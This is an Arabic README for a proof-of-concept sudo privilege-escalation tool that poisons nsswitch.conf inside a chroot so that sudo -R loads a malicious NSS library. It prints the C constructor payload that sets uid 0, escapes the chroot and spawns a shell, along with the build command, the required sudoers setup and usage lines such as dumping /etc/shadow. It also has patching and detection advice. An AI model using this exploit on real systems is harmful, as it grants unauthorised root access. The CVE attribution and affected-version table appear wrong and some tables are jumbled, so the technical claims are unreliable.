
استغلال إثبات المفهوم لـ CVE-2023-42456، يوضح تصعيد الامتيازات عبر اختطاف مكتبة NSS في sudo من خلال حقن chroot. يتضمن كشف الإصدار تلقائيًا، وتوليد الحمولة، والهروب من chroot للاختبار الأمني المصرح به.
المؤلف: 0xb0rn3 | 0xbv1
النوع: إثبات المفهوم (PoC) أداة بحث أمني
CVE: CVE-2023-42456
التقنية: sudo -R حقن مكتبة NSS عبر chroot → تصعيد الصلاحيات إلى الجذر
تم تطوير هذه الأداة لـ اختبار الاختراق المرخص والبحث الأمني التعليمي فقط. قم بتشغيلها حصريًا على أنظمة تمتلكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلف(ون) أي مسؤولية عن أي إساءة استخدام. الاستخدام غير المصرح به غير قانوني.
Xpl0it هو إثبات مفهوم يستغل ثغرة في نموذج الثقة في كيفية تعامل sudo مع تحميل مكتبات NSS (مفتاح خدمة الأسماء) الديناميكية عند استخدام علامة -R (chroot). في إصدارات sudo الضعيفة، يمكن للمهاجم الذي يتحكم في دليل chroot تسميم nsswitch.conf داخله لإجبار sudo على تحميل مكتبة مشتركة خبيثة بينما لا تزال تحتفظ بصلاحيات مرتفعة — قبل أي انخفاض في الصلاحيات.
عند التشغيل الناجح، تمنحك الأداة شل جذر أو تنفذ أي أمر تحدده بـ uid=0 gid=0.
تستهدف هذه الأداة حصريًا CVE-2023-42456. الثغرة موجودة عبر فرعين للإصدار، لكل منهما إصلاح منفصل:
مهم: sudo 1.9.17 والإصدارات الأحدث ليست ضعيفة. الأدوات والكتابات السابقة أدرجت النطاق بشكل خاطئ على أنه "1.9.14–1.9.17". تقوم هذه الأداة بالكشف عن الإصدار لكل فرع لتجنب النتائج الإيجابية الخاطئة.
CVEs التالية ليست قابلة للاستغلال عبر هذه التقنية وتم استبعادها عمدًا لمنع النتائج الإيجابية الخاطئة:
| CVE | التقنية | سبب الاستبعاد |
|---|---|---|
| CVE-2021-3156 (Baron Samedit) | تجاوز سعة المخزن المؤقت في الكومة | ناقل هجوم مختلف تمامًا |
| CVE-2021-23239 | حالة سباق في sudoedit | تقنية مختلفة |
| CVE-2021-23240 | تجاوز رابط رمزي لدور SELinux |
يتطلب sudo -R توجيهًا صريحًا ChrootDir= في إدخال sudoers للمستخدم الهدف. NOPASSWD وحده لا يمنح إذن -R.
بدون ChrootDir، يرفض sudo علامة -R تمامًا:
sudo: you are not permitted to use the -R option with bridge
يجب أن يبدو إدخال sudoers الذي يسمح بهذا الاستغلال كأحد ما يلي:
# مسار chroot غير مقيد (حالة هجوم مثالية)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# chroot مقيد المسار (الأداة تكيّف دليل المرحلة تلقائيًا)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# مسار محدد (الأداة تنشئ المرحلة داخل المسار المسموح)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
تقوم Xpl0it بتحليل sudo -l للبحث عن ChrootDir قبل القيام بأي عمل في المرحلة وتتوقف مبكرًا مع شرح واضح إذا كان الإذن مفقودًا.
sudo -R bridge bridge
│
├─ sudo يستدعي chroot("./bridge") ← المهاجم يتحكم في هذا الدليل
│
├─ يجب على sudo تحليل معلومات المستخدم المتصل
│ └─ تحميل /etc/nsswitch.conf من chroot
│ └─ "passwd: files bridge90"
│ └─ المحمل الديناميكي يقوم بتحميل libnss_bridge90.so.2
│ └─ يتم تشغيل __attribute__((constructor))
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ هروب chroot → تنفيذ الحمولة
│
└─ ظهور شل الجذر
الخطوة 1 — الاستطلاع
يجمع معلومات نظام التشغيل، إصدار النواة، البنية، سياق المستخدم الحالي، وجميع مسارات بحث المكتبات الصالحة. يكتشف تفعيل AppArmor/SELinux وحالة NoNewPrivs — كل هذه يمكن أن تمنع الاستغلال بصمت إذا كانت نشطة.
الخطوة 2 — بصمة الإصدار
يحلل sudo --version ويتحقق من النطاق المتأثر لفرعي الإصدار لـ CVE-2023-42456 بدقة مستوى التصحيح. يتوقف مع شرح إذا كان الإصدار قد تم تصحيحه أو خارج النطاق.
الخطوة 3 — التحقق من إذن ChrootDir
يحلل sudo -l للبحث عن توجيهات ChrootDir=. إذا كانت غائبة، يتوقف فورًا. إذا كانت مقيدة بمسار محدد، يستهدف ذلك المسار تلقائيًا للمرحلة حتى يقبل sudo استدعاء -R.
الخطوة 4 — الفحص المسبق للاستغلال
يبني chroot بسيطًا يمكن التخلص منه وينفذ استدعاء sudo -R غير ضار قبل القيام بأي عمل حقيقي في المرحلة. يؤكد أن sudo سيصل إلى تحليل NSS ويكشف رفض "غير مسموح" مبكرًا.
الخطوة 5 — توليد الحمولة
يكتب bridge90.c — مكتبة مشاركة بلغة C مع دالة __attribute__((constructor)) (_nss_bridge90_init) التي تُشغل في اللحظة التي يقوم المحمل الديناميكي بتحميلها:
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// chroot escape: mkdir sub-dir → chroot deeper →
// traverse 40x"../" → re-anchor chroot to real /
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
الخطوة 6 — إعداد البيئة
يبني chroot مقنع داخل دليل المرحلة:
bridge/etc/nsswitch.conf — تم تسميمه لتحميل خدمة NSS bridge90bridge/<lib_path>/libnss_bridge90.so.2 — الحمولة، تم نشرها في جميع مسارات المكتبات المكتشفة (تغطية متعددة المكتبات)bridge/bin/bridge — ملف تنفيذي وهمي يجب أن يجده sudo للمتابعة بعد الفحوصات المسبقة للتنفيذbridge/bin/sh, bridge/bin/bash — شل بمفسر ELF صحيح (مكتشف عبر readelf -l)bridge/etc/ld.so.conf — يغطي جميع مسارات المكتبات بحيث يبني ldconfig -r ذاكرة تخزين مؤقت صالحةالخطوة 7 — التجميع
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
-nostartfiles — لا يوجد كود بدء افتراضي؛ المُنشئ يتولى كل شيء-Wl,-soname — SONAME صحيح لحل أسماء NSS-Wl,-init — __attribute__((constructor)) كافٍ؛ إضافة -Wl,-init تسبب استدعاءً مزدوجًا وهو خطأبعد التجميع، يتحقق nm -D من وجود رمز المُنشئ في جدول التصدير الديناميكي.
الخطوة 8 — التنفيذ
ينفذ sudo -R bridge bridge من دليل المرحلة. يقوم NSS بحل bridge90 → تحميل مكتبتنا → إطلاق المُنشئ بصلاحيات مرتفعة → تنفيذ هروب chroot → شل الجذر.
تنفيذ -R في sudo يثق في محتويات دليل chroot الذي يدخله. قبل إصلاح هذا، لم يكن sudo يتحقق مما إذا كانت بيئة chroot قد تم العبث بها. نظرًا لأن المستخدم الذي يقدم مسار chroot يتحكم في محتوياته — بما في ذلك nsswitch.conf ومكتبات NSS التي يشير إليها — يمكنه إعادة توجيه تحميل المكتبات إلى كود عشوائي يتم تنفيذه قبل أن يقوم sudo بأي انخفاض في الصلاحيات.
تصحيح sudo
قم بالتحديث إلى 1.9.15p2 أو 1.9.16p2 أو أي إصدار 1.9.17+. تتحقق هذه الإصدارات من بيئات chroot قبل السماح بتحليل NSS داخلها.
# تحقق من إصدارك
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
تدقيق توجيهات ChrootDir
راجع /etc/sudoers وجميع الملفات في /etc/sudoers.d/. أزل إدخالات ChrootDir= إلا إذا كانت مطلوبة صراحة. قيّد أحرف البدل — فضل ChrootDir=/specific/path على ChrootDir=*.
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
توقيعات سجلات التدقيق
# auditd — كشف استدعاءات sudo -R (نادرة في الاستخدام المشروع)
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/bin/sudo -k sudo_chroot_attempt
# journald
journalctl | grep -i "sudo.*-R\|chroot"
المؤشرات المشبوهة
sudo -R استدعاءات في السجلات — الاستخدام الإنتاجي المشروع نادر للغاية/tmp بأسماء تطابق sudobridge.*libnss_*.so.2 في /tmp أو أدلة قابلة للكتابة من قبل المستخدمgcc من جلسات مستخدم غير نظامية للبناءsetreuid/setregid من عمليات غير مملوكة للجذر# جعل الملف قابلًا للتنفيذ
chmod +x Xpl0it
# الدخول إلى شل الجذر (الافتراضي)
./Xpl0it
# تشغيل أمر محدد كجذر
./Xpl0it -c "id && cat /etc/shadow"
# وضع التصحيح — مخرجات مفصلة، الحفاظ على دليل المرحلة عند الخروج
./Xpl0it -d
# طلب التأكيد قبل المتابعة عند عدم تطابق الإصدار
./Xpl0it -v
# دمج العلامات
./Xpl0it -v -d -c "/bin/bash"
يجب أن يتضمن إدخال sudoers للمستخدم الهدف أيضًا ChrootDir= — تتحقق الأداة من ذلك تلقائيًا وتفشل بسرعة مع شرح إذا كان مفقودًا.
إذا فشل الاستغلال، قم بتشغيله باستخدام -d للحفاظ على دليل المرحلة وفحص:
أسباب الفشل الشائعة:
man nsswitch.conf، man 5 nssman ld.so، man ldconfigchroot(2)المساهمات التي تحسن الدقة أو قابلية النقل أو تغطية الكشف مرحب بها. يرجى الحفاظ على أي إضافات متوافقة مع مبادئ الإفصاح المسؤول وحالات الاختبار المرخصة.
Xpl0it مخصص للبحث الأمني المرخص فقط. احصل دائمًا على إذن كتابي صريح قبل الاختبار على الأنظمة التي لا تملكها.
| الفرع | ضعيف | تم الإصلاح في |
|---|
| 1.9.14.x | الكل (1.9.14 – 1.9.14p2) | لا ينطبق (الفرع بأكمله متأثر) |
| 1.9.15.x | 1.9.15 – 1.9.15p1 | 1.9.15p2 |
| 1.9.16.x | 1.9.16 – 1.9.16p1 | 1.9.16p2 |
| 1.9.17+ | غير متأثر | تم دمج الإصلاح قبل الفرع |
| تقنية مختلفة |
| الطبقة | الإجراء |
|---|
| التصحيح | sudo ≥ 1.9.15p2 / 1.9.16p2 / 1.9.17+ |
| Sudoers | أزل ChrootDir=*؛ استخدم مسارات محددة فقط |
| MAC | ملفات تعريف AppArmor/SELinux التي تمنع dlopen() غير الموثوق |
| نظام الملفات | قم بتركيب /tmp وأدلة المستخدم مع noexec,nosuid |
| IMDSv2 | في مثيلات السحابة، اشترط الوصول القائم على الرمز المميز للبيانات الوصفية |
| المراقبة | تنبيهات auditd على استدعاءات sudo -R |
| NoNewPrivs | يمنع PR_SET_NO_NEW_PRIVS عمل setreuid() |
| العلم | الوصف |
|---|
-c, --command <cmd> | الأمر الذي سيتم تنفيذه بعد التصعيد (الافتراضي: /bin/bash) |
-d, --debug | مخرجات تصحيح مفصلة؛ يحافظ على دليل المرحلة عند الخروج |
-v, --verbose | اطلب التأكيد قبل المتابعة إذا كان الإصدار خارج النطاق المتأثر |
-h, --help | عرض الاستخدام |
--version | طباعة الإصدار |
| التبعية | مطلوب | الغرض |
|---|
gcc | نعم | تجميع مكتبة NSS المشتركة على الهدف |
sudo | نعم | الملف الثنائي المستهدف |
ldconfig | نعم | بناء ld.so.cache داخل chroot |
readelf | نعم | كشف مسار مفسر ELF |
grep, awk, sed, find | نعم | أدوات قياسية |
strace, ltrace, gdb | اختياري | تصحيح محسّن |
nm | اختياري | التحقق من رمز المُنشئ |
| الفحص | المسار | ما الذي تبحث عنه |
|---|
| سجل التجميع | $STAGE/logs/compile.log | أخطاء gcc |
| سجل ldconfig | $STAGE/logs/ldconfig.log | أخطاء بناء الذاكرة المخبئة |
| nsswitch.conf | $STAGE/bridge/etc/nsswitch.conf | passwd: files bridge90 |
| المكتبة | $STAGE/bridge/<lib_path>/libnss_bridge90.so.2 | يجب أن يكون موجودًا |
| Sudoers | sudo -l | يجب أن يظهر ChrootDir= |
| الخطأ | السبب |
|---|
not permitted to use the -R option | ChrootDir= مفقود من sudoers |
| رمز الخروج 1، لا يوجد خطأ NSS | إصدار sudo تم تصحيحه |
| المكتبة لا تُحمل بصمت | AppArmor/SELinux يمنع dlopen() |
setreuid تم تجاهله | NoNewPrivs=1 على العملية |
| المكتبة غير موجودة | فشل ldconfig -r والارتجاع عن الرابط الرمزي غير كافٍ |